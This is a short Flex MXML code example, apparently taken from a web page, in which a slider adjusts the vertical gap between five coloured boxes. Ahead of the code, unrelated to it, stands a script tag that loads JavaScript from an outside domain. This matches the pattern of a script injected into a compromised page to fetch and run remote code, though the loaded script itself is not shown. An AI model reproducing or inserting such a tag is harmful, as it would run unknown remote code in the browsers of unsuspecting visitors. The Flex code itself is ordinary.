<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
- <mx:Style>
- HSlider {
- dataTipPlacement: bottom;
- dataTipPrecision: 0;
- }
- </mx:Style>
- <mx:Script>
- <![CDATA[
- import mx.events.FlexEvent;
- import mx.events.SliderEvent;
- private function slider_change(evt:SliderEvent):void {
- vBox.setStyle("verticalGap", evt.value);
- }
- private function vBox_creationComplete(evt:FlexEvent):void {
- slider.value = vBox.getStyle("verticalGap");
- }
- ]]>
- </mx:Script>
- <mx:ApplicationControlBar dock="true">
- <mx:Form styleName="plain">
- <mx:FormItem label="verticalGap:"
- direction="horizontal">
- <mx:HSlider id="slider"
- minimum="0"
- maximum="20"
- liveDragging="true"
- snapInterval="1"
- tickInterval="1"
- change="slider_change(event);" />
- <mx:Label text="{slider.value}" />
- </mx:FormItem>
- </mx:Form>
- </mx:ApplicationControlBar>
- <mx:VBox id="vBox"
- width="100%"
- creationComplete="vBox_creationComplete(event);">
- <mx:Box width="100%" height="50" backgroundColor="red" />
- <mx:Box width="100%" height="50" backgroundColor="haloOrange" />
- <mx:Box width="100%" height="50" backgroundColor="yellow" />
- <mx:Box width="100%" height="50" backgroundColor="haloGreen" />
- <mx:Box width="100%" height="50" backgroundColor="haloBlue" />
- </mx:VBox>
- </mx:Application>